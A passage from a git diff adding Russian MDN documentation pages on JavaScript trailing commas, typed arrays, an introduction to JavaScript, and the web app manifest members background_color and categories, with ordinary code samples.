+<p>Висящие запятые так же можно использовать слева при использовании <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурирующего присваивания</a>:</p>
+
+<pre class="brush: js">// массив деструктурируется с висящей запятой
+[a, b,] = [1, 2];
+
+// объект деструктурируется с висящей запятой
+var o = {
+  p: 42,
+  q: true,
+};
+var {p, q,} = o;
+</pre>
+
+<p>Ещё раз, при использовании оставшихся параметров будет сгенерирована {{jsxref("SyntaxError")}}:</p>
+
+<pre class="brush: js example-bad">var [a, ...b,] = [1, 2, 3];
+// SyntaxError: rest element may not have a trailing comma</pre>
+
+<h2 id="Висящие_запятые_в_JSON">Висящие запятые в JSON</h2>
+
+<p>Висящие запятые в объекте допустимы только в ECMAScript 5. Так как JSON основан на синтаксисе JavaScript старше, чем ES5, <strong>висящие запятые недопускаются в JSON</strong>.</p>
+
+<p>Обе строки генерируют <code>SyntaxError</code>:</p>
+
+<pre class="brush: js example-bad">JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+</pre>
+
+<p>Опустите висящие запятые, чтобы правильно проанализировать JSON:</p>
+
+<pre class="brush: js example-good">JSON.parse('[1, 2, 3, 4 ]');
+JSON.parse('{"foo" : 1 }');</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Добавлены висящие запятые в объекты.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td>Добавлены висящие запятые в список параметров функций и их вызов.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.grammar.trailing_commas")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Initial ECMAScript proposal: <a href="https://github.com/tc39/proposal-trailing-function-commas">trailing function commas</a> by Jeff Morrison</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/об/index.html b/files/ru/web/javascript/reference/об/index.html
new file mode 100644
index 0000000000..bbb30f131d
--- /dev/null
+++ b/files/ru/web/javascript/reference/об/index.html
@@ -0,0 +1,50 @@
+---
+title: Об этой справке
+slug: Web/JavaScript/Reference/Об
+translation_of: Web/JavaScript/Reference/About
+---
+<div>{{JsSidebar}}</div>
+
+<p>The JavaScript reference serves as a repository of facts about the JavaScript language. The entire language is described here in detail. As you write JavaScript code, you'll refer to these pages often (thus the title "JavaScript reference"). If you're learning JavaScript, or need help understanding some of its capabilities or features, check out the <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript guide</a>.</p>
+
+<p>The JavaScript language is intended to be used within some larger environment, be it a browser, server-side scripts, or similar. For the most part, this reference attempts to be environment-agnostic and does not target a web browser environment.</p>
+
+<h2 id="Where_to_find_JavaScript_information">Where to find JavaScript information</h2>
+
+<p>JavaScript documentation of core language features (pure <a href="/en-US/docs/Web/JavaScript/Language_Resources">ECMAScript</a>, for the most part) includes the following:</p>
+
+<ul>
+ <li>The <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript guide</a></li>
+ <li>The <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a></li>
+</ul>
+
+<p>If you are new to JavaScript, start with the <a href="/en-US/docs/Web/JavaScript/Guide">guide</a>. Once you have a firm grasp of the fundamentals, you can use the <a href="/en-US/docs/Web/JavaScript/Reference">reference</a> to get more details on individual objects and language constructs.</p>
+
+<h2 id="Structure_of_the_reference">Structure of the reference</h2>
+
+<p>In the JavaScript reference you can find the following chapters:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">Standard built-in objects</a></dt>
+ <dd>This chapter documents all the JavaScript standard built-in objects, along with their methods and properties.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Statements">Statements and declarations</a></dt>
+ <dd>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Expressions and operators</a></dt>
+ <dd>This chapter documents all the JavaScript language operators, expressions and keywords.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></dt>
+ <dd>Chapter about JavaScript functions.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></dt>
+ <dd>Chapter about JavaScript classes introduced in ECMAScript 6.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Errors">Errors</a></dt>
+ <dd>Chapter about specific errors, exceptions and warnings thrown by JavaScript.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a></dt>
+ <dd>Chapter about JavaScript version history.</dd>
+</dl>
+
+<h3 id="More_reference_pages">More reference pages</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated and obsolete features</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
+</ul>
diff --git a/files/ru/web/javascript/typed_arrays/index.html b/files/ru/web/javascript/typed_arrays/index.html
new file mode 100644
index 0000000000..99be4f3d6a
--- /dev/null
+++ b/files/ru/web/javascript/typed_arrays/index.html
@@ -0,0 +1,219 @@
+---
+title: Типизированные массивы JavaScript
+slug: Web/JavaScript/Typed_arrays
+translation_of: Web/JavaScript/Typed_arrays
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p>Типизированные массивы в JavaScript являются массиво-подобными объектами, предоставляющими механизм доступа к сырым двоичным данным. Как вы уже можете знать, массив {{jsxref("Array")}} растет и обрезается динамически, и может содержать элементы любого типа JavaScript. Благодаря оптимизациям JavaScript движков, массивы остаются быстрыми. Однако, со временем, веб-приложения становятся все более и более мощными, появляется необходимость работы с аудио- и видео-данными, требуется доступ к сырым данным WebSocket`ов, и так далее. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной, для чего типизированные массивы и предназначены.</p>
+
+<p>Не следует путать типизированные массивы с обычными массивами: так, например, вызов {{jsxref("Array.isArray()")}} для типизированного массива вернет <code>false</code>. Более того, не все методы, доступные для обычных массивов поддерживаются типизированными массивами (например, push и pop).</p>
+
+<h2 id="Буферы_и_представления_архитектура_типизированных_массивов">Буферы и представления: архитектура типизированных массивов</h2>
+
+<p>Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на <strong>буферы</strong> и <strong>представления</strong>. Буфер (<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать типизированный массив или объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a>) –– это объект, представляющий из себя набор данных. Он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление предоставляет контекст: тип данных, начальную позицию в буфере и количество элементов. Это позволяет представить данные в виде типизированного массива.</p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer">ArrayBuffer</h3>
+
+<p>Объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать типизированный массив или объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a> –– это набор бинарных данных с фиксированной длинной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого, необходимо создать типизированное представление <a href="/ru/docs/Web/JavaScript/Reference/DataView" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.</p>
+
+<h3 id="Типизированные_представления">Типизированные представления</h3>
+
+<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как  <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих, существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/ru/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p>
+
+<p>{{page("/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "Объект TypedArray")}}</p>
+
+<h3 id="DataView">DataView</h3>
+
+<p>Объект {{jsxref("DataView")}} –– это низкоуровневый интерфейс, предоставляющий API для записи/чтения произвольных данных в буфер. Это полезно при работе с различными типами данных, например. В то время как типизированные представления всегда имеют порядок байт (смотрите {{Glossary("Endianness")}}) соответствующий используемому в вашей операционной системе, <code>DataView</code> позволяет контроллировать порядок байт (byte-order). По умолчанию это big-endian, но через API можно установить little-endian.</p>
+
+<h2 id="Веб_API_использующие_типизированные_массивы">Веб API, использующие типизированные массивы</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/API/FileReader#readAsArrayBuffer()" title="/ru/docs/Web/API/FileReader#readAsArrayBuffer()"><code>FileReader.prototype.readAsArrayBuffer()</code></a></dt>
+ <dd>Метод <code>FileReader.prototype.readAsArrayBuffer()</code> читает содержимое заданного <a href="/ru/docs/Web/API/Blob" title="/ru/docs/DOM/Blob"><code>Blob</code></a> или <a href="/ru/docs/Web/API/File" title="/ru/docs/DOM/File"><code>File</code></a>.</dd>
+ <dt><a href="/ru/docs/Web/API/XMLHttpRequest#send()" title="/ru/docs/Web/API/XMLHttpRequest#send()"><code>XMLHttpRequest.prototype.send()</code></a></dt>
+ <dd>Метод <code>send()</code> экземпляра <code>XMLHttpRequest</code> теперь поддерживает в качестве аргумента {{jsxref("ArrayBuffer")}}.</dd>
+ <dt><code><a href="https://developer.mozilla.org/ru/docs/Web/API/ImageData">ImageData.data</a></code></dt>
+ <dd>Имеет тип {{jsxref("Uint8ClampedArray")}} и представляет изображение в виде одномерного массива, где цветовые компоненты расположены в порядке RGBA, и их значения принудительно ограничены диапазоном от 0 до 255.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_представлений_с_буферами">Использование представлений с буферами</h3>
+
+<p>Прежде всего, необходимо создать буфер с фиксированной длиной 16 байт:</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(16);
+</pre>
+
+<p>На данном этапе мы имеем область памяти в 16 байт, инициализированной нулевыми значениями. Всё, что мы можем сделать сейчас, это убедиться, что длина буфера действительно 16 байт:</p>
+
+<pre class="brush:js">if (buffer.byteLength === 16) {
+  console.log("Да, это 16 байт.");
+} else {
+  console.log("О нет, размер не наш!");
+}
+</pre>
+
+<p>Прежде чем мы сможем приступить к полноценной работе с памятью, нам нужно создать представление. Давайте создадим представление, которое отображает буфер как массив из 32-битных целочисленных значений со знаком:</p>
+
+<pre class="brush:js">var int32View = new Int32Array(buffer);
+</pre>
+
+<p>Теперь мы можем получить доступ к элементам представления как к элементам обычного массива:</p>
+
+<pre class="brush:js">for (var i = 0; i &lt; int32View.length; i++) {
+  int32View[i] = i * 2;
+}
+</pre>
+
+<p>Этот код поместит 4 элемента в буфер (4 элемента по 4 байта даст 16 байт) со следующими значениям: <code>0</code>, <code>2</code>, <code>4</code> и <code>6</code>.</p>
+
+<h3 id="Множество_представлений_для_одних_и_тех_же_данных">Множество представлений для одних и тех же данных</h3>
+
+<p>Всё становится намного интереснее, если создать несколько разных представлений для одного и того же буфера. Например, приведенный выше код можно дополнить следующим образом:</p>
+
+<pre class="brush:js">var int16View = new Int16Array(buffer);
+
+for (var i = 0; i &lt; int16View.length; i++) {
+  console.log('Entry ' + i + ': ' + int16View[i]);
+}
+</pre>
+
+<p>Здесь мы создаем 16-битное целочисленное представление, которое ссылается на тот же самый буфер, что и 32-битное представление, и затем выводим все 16-битные элементы этого представления. Мы получим следующий вывод: 0, 0, 2, 0, 4, 0, 6, 0.</p>
+
+<p>Можно пойти дальше. Оцените этот код:</p>
+
+<pre class="brush:js">int16View[0] = 32;
+console.log('Элемент 0 в 32-битном представлении теперь равен ' + int32View[0]);
+</pre>
+
+<p>Результатом выполнения станет текст: "Элемент 0 в 32-битном представлении теперь равен 32". Другими словами, два массива на самом деле являются лишь разными представлениями одного и того же буфера данных в разных форматах. Вы можете повторить это с <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects" title="JavaScript typed arrays/ArrayBufferView#Typed array subclasses">представлениями</a> любого типа.</p>
+
+<h3 id="Работа_со_сложными_структурами_данных">Работа со сложными структурами данных</h3>
+
+<p>Комбинируя буфер и множество представлений разного формата, имеющих разные смещения относильно начала буфера, можно управляться с объектами содержащими разнородные данные. Это позволяет, к примеру, взаимодействовать со сложными структурам из <a href="/ru/docs/Web/WebGL" title="WebGL">WebGL</a>, файлами данных или структурами языка C (<a href="/ru/docs/Mozilla/js-ctypes" title="js-ctypes">сопоставление данных JS и C</a>).</p>
+
+<p>Рассмотрим следующую структуру из языка C:</p>
+
+<pre class="brush:cpp">struct someStruct {
+  unsigned long id;
+  char username[16];
+  float amountDue;
+};</pre>
+
+<p>Получить доступ к полям этой структуры можно следующим образом:</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(24);
+
+// ... поместить данные структуры в буфер ...
+
+var idView = new Uint32Array(buffer, 0, 1);
+var usernameView = new Uint8Array(buffer, 4, 16);
+var amountDueView = new Float32Array(buffer, 20, 1);</pre>
+
+<p>Теперь получить или изменить значение поля <code>amountDue</code>, к примеру, можно путем обращения к <code>amountDueView[0]</code>.</p>
+
+<div class="note"><strong>Примечание:</strong> <a href="https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D1%80%D0%B0%D0%B2%D0%BD%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85" title="http://en.wikipedia.org/wiki/Data_structure_alignment">Выравнивание данных</a> в языке C является платформозависимым. Принимайте меры по вычислению правильных отступов в данных с учетом выравнивания.</div>
+
+<h3 id="Преобразование_в_обычные_массивы">Преобразование в обычные массивы</h3>
+
+<p>Иногда после обработки типизированного массива бывает полезно конвертировать его в обычный массив, чтобы получить доступ к методам прототипа {{jsxref("Array")}}. Для этих целей существует метод {{jsxref("Array.from")}}. А в тех случаях, когда <code>Array.from</code> не поддерживается, используйте следующий код:</p>
+
+<pre class="brush:js">var typedArray = new Uint8Array([1, 2, 3, 4]),
+    normalArray = Array.prototype.slice.call(typedArray);
+normalArray.length === 4;
+normalArray.constructor === Array;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Вытеснено стандартом ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Начальное определение в стандарте ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="/ru/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Получение <code>ArrayBuffer</code>s и типизированных массивов из <em>Base64 кодировки</em></a></li>
+ <li><a href="/ru/docs/Code_snippets/StringView" title="/ru/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – библиотека для работы со строками в стиле языка С, основанная на типизированных массивах</a></li>
+ <li><a href="https://hacks.mozilla.org/2011/12/faster-canvas-pixel-manipulation-with-typed-arrays">Быстрая работа с пикселями Canvas через типизированные массивы</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webgl/typed_arrays">Типизированные массивы: Двоичные данные в браузере</a></li>
+ <li>{{Glossary("Endianness")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/о_javascript/index.html b/files/ru/web/javascript/о_javascript/index.html
new file mode 100644
index 0000000000..6d3682cf3a
--- /dev/null
+++ b/files/ru/web/javascript/о_javascript/index.html
@@ -0,0 +1,60 @@
+---
+title: О JavaScript
+slug: Web/JavaScript/О_JavaScript
+tags:
+  - Beginner
+  - Introduction
+  - JavaScript
+  - Вступление
+  - Новичку
+translation_of: Web/JavaScript/About_JavaScript
+---
+<p>{{JsSidebar()}}</p>
+
+<h2 id="Что_такое_JavaScript">Что такое JavaScript?</h2>
+
+<p><strong>JavaScript</strong><sup>®</sup> (часто сокращают до <strong>JS</strong>) — это лёгкий, интерпретируемый, объектно-ориентированный язык с <a href="https://en.wikipedia.org/wiki/First-class_functions" title="https://en.wikipedia.org/wiki/First-class_functions">функциями первого класса</a>, самый известный скриптовый язык для веб-страниц, но также<a href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages"> используется во многих не браузерных окружениях.</a> <a href="https://en.wikipedia.org/wiki/Prototype-based_programming" title="Prototype-based">Прототипно-ориентированный</a>, мультипарадигменный язык сценариев, который поддерживает динамический, объектно-ориентированный, императивный и функциональный стили программирования.</p>
+
+<p>JavaScript запускается на стороне клиента Интернета, который может использоваться для создания/программирования того, как веб-страницы будут вести себя при наступлении каких-либо событий. JavaScript легко изучить, а также это мощный скриптовый язык, широко используемый для контролирования поведения веб-страниц.</p>
+
+<p>Вопреки распространенному мнению, <strong>JavaScript <em>не</em> является "интерпретируемым Java"</strong>. В двух словах, JavaScript — это динамический скриптовый язык, поддерживающий <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-Based_vs._Prototype-Based_Languages">прототипное</a> создание объектов. Базовый синтаксис намеренно похож на Java и C++, чтобы уменьшить число новых концепций, необходимых для изучения языка. Такие языковые конструкции, как <code>if</code>, <code>for</code>, <code>while</code>, <code>switch</code>, <code>try ... catch</code> похожи на конструкции этих языков.</p>
+
+<p>JavaScript может функционировать и как <a href="https://ru.wikipedia.org/wiki/Процедурное_программирование">процедурный</a>, и как <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">объектно-ориентированный</a> язык. Объекты можно создавать программно во время выполнения, путем присоединения методов и свойств или пустых объектов <strong>во время выполнения</strong>, в отличие от синтаксических определений классов в компилируемых языках, таких как С++ или Java. После того, как объект был создан, он может быть использован в качестве плана (или прототипа) для создания похожих объектов.</p>
+
+<p>Динамические возможности JavaScript включают: создание объектов во время выполнения, переменное число параметров, динамическое создание скриптов (с помощью <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/eval">eval</a></code>), перебор объектов (с помощью <code>for ... in</code>), восстановление исходного кода (программы на JavaScript могут декомпилировать тела функций обратно в исходный код).</p>
+
+<p>Для более глубокого погружения в программирование на JavaScript, используйте ссылки ниже в разделе <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/%D0%9E_JavaScript#Ресурсы_по_JavaScript">Ресурсы по JavaScript</a>.</p>
+
+<h2 id="Какие_реализации_JavaScript_доступны">Какие реализации JavaScript доступны?</h2>
+
+<p>Mozilla предоставляет две реализации JavaScript. <strong>Самая</strong> первая реализация JavaScript была создана Бренданом Эйхом (Brendan Eich) в компании Netscape, и с тех пор обновляется, чтобы соответствовать ECMA-262 Edition 5 и более поздним версиям. Этот движок называется <a href="https://developer.mozilla.org/ru/docs/SpiderMonkey">SpiderMonkey</a> и реализован на языке C/C++. Движок <a href="https://developer.mozilla.org/ru/docs/Rhino">Rhino</a> создан Норрисом Бойдом (Norris Boyd) и реализован на языке Java. Как и SpiderMonkey, Rhino соответствует ECMA-262 Edition 5.</p>
+
+<p>Несколько оптимизаций, таких как TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) и IonMonkey, добавили в SpiderMonkey со временем. Работа всегда продолжается, чтобы улучшить производительность выполнения JavaScript.</p>
+
+<p>Кроме вышеприведенных существуют и другие популярные реализации:</p>
+
+<ul>
+ <li><a href="https://code.google.com/p/v8/">V8</a> от Google, используемый в браузерах Google Chrome и последних версиях Opera. Также используется в <a href="http://nodejs.org/">Node.js</a>.</li>
+ <li><a href="http://www.webkit.org/projects/javascript/index.html">JavaScriptCore</a> (SquirrelFish/Nitro), используемый в WebKit браузерах, например, в Apple Safari.</li>
+ <li><a href="https://dev.opera.com/blog/carakan/">Carakan</a> используется в старых версиях Opera.</li>
+ <li><a href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> используется в Internet Explorer (язык, который реализует данный движок, называется JScript, чтобы избежать проблем с авторскими правами).</li>
+</ul>
+
+<p>Каждый движок mozilla.org предоставляет публичный API, который могут использовать разработчики приложений для интеграции JavaScript в своё ПО. Однако, наиболее распространенной средой для JavaScript являются веб-браузеры. Веб-браузеры обычно используют публичный API для создания <strong>объектов среды</strong>, отражающих <a href="http://www.w3.org/DOM/">DOM</a> в JavaScript.</p>
+
+<p>JavaScript также применяется как скриптовый язык на стороне сервера. JavaScript сервер предоставляет объекты среды, представляющие объекты HTTP запросов и ответов, которые могут быть использованы программой на JavaScript для динамической генерации веб-страниц. Популярным примером является <a href="http://nodejs.org/">Node.js</a>.</p>
+
+<h2 id="Ресурсы_по_JavaScript">Ресурсы по JavaScript</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/ru/docs/SpiderMonkey">SpiderMonkey</a></dt>
+ <dd>SpiderMonkey — это интерпретатор языка JavaScript, написанный на языке C. Информация, относящаяся к реализации движка JavaScript Mozilla на C/C++ (aka SpiderMonkey), включая, как вставлять его в приложения.</dd>
+ <dt><a href="https://developer.mozilla.org/ru/docs/Rhino">Rhino</a></dt>
+ <dd>Информация, относящаяся к реализации JavaScript, написанной на Java (aka Rhino).</dd>
+ <dt><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Language_Resources" title="en-US/docs/JavaScript_Language_Resources">Ресурсы по языку</a></dt>
+ <dd>Ссылки на опубликованные стандарты по JavaScript.</dd>
+ <dt><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/A_re-introduction_to_JavaScript">Повторное введение в JavaScript</a></dt>
+ <dd><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide">Руководство</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference">справочник </a>по JavaScript.</dd>
+</dl>
+
+<p>JavaScript® - торговая марка или зарегистрированная торговая марка Oracle в США и других странах.</p>
diff --git a/files/ru/web/manifest/background_color/index.html b/files/ru/web/manifest/background_color/index.html
new file mode 100644
index 0000000000..25da0d77ce
--- /dev/null
+++ b/files/ru/web/manifest/background_color/index.html
@@ -0,0 +1,77 @@
+---
+title: background_color
+slug: Web/Manifest/background_color
+tags:
+  - Manifest
+  - Web
+  - background_color
+translation_of: Web/Manifest/background_color
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"background_color": "red"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>background_color</code> определяет ожидаемый цвет фона для веб-приложения. Это значение повторяет то, что уже доступно в стилях приложения, но может быть использовано браузерами для отрисовки цвета фона приложения после того, как манифест станет доступен, но до того, как стили загрузятся. Это создает плавный переход между запуском приложения и загрузкой содержимого приложения.</p>
+
+<p>Therefore <code>background_color</code> should match the {{cssxref("background-color")}} CSS property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.</p>
+
+<div class="blockIndicator note">
+<p><strong>Заметка</strong>: Свойство <code>background_color</code> предназначено только для улучшения удобства пользования, пока главная таблица стилей загружается из сети или с носителя; не должно быть использовано агентом пользователя как свойство CSS {{cssxref('background-color')}}, когда стили приложения станут доступны.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json" dir="rtl"><code>"background_color": "red"</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#background_color-member', 'background_color')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Первоначальное определение</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("html.manifest.background_color")}}</p>
diff --git a/files/ru/web/manifest/categories/index.html b/files/ru/web/manifest/categories/index.html
new file mode 100644
index 0000000000..149e413600
--- /dev/null
+++ b/files/ru/web/manifest/categories/index.html
@@ -0,0 +1,82 @@
+---
+title: categories
+slug: Web/Manifest/categories
+tags:
+  - Manifest
+  - Web
+  - categories
+translation_of: Web/Manifest/categories
+---
+<div>{{QuickLinksWithSubpages("/ru/docs/Web/Manifest")}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>Array</code> of <code>String</code>s</td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"categories": ["music"]</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><dfn><code>categories</code></dfn> - это массив строк, определяющих имена категорий, к которым, предположительно, относится приложение. Нет стандартного списка возможных значений, но W3C поддерживает <a href="https://github.com/w3c/manifest/wiki/Categories">список известных категорий</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> <code>categories</code> используются только в качестве подсказок для каталогов или магазинов, содержащих веб-приложения. Как и поисковые системы и meta ключевые слова, каталоги и магазины могут игнорировать их.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note: </strong>значения <code>categories</code> изменяются в каталогах и магазинах перед обработкой на нижний регистр, поэтому «Новости» и «новости» рассматриваются как одно и то же значение. Разработчикам рекомендуется использовать строчные буквы в первую очередь.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json">"categories": ["books", "education", "medical"]
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#categories-member', 'categories')}}</p>
+   </td>
+   <td>
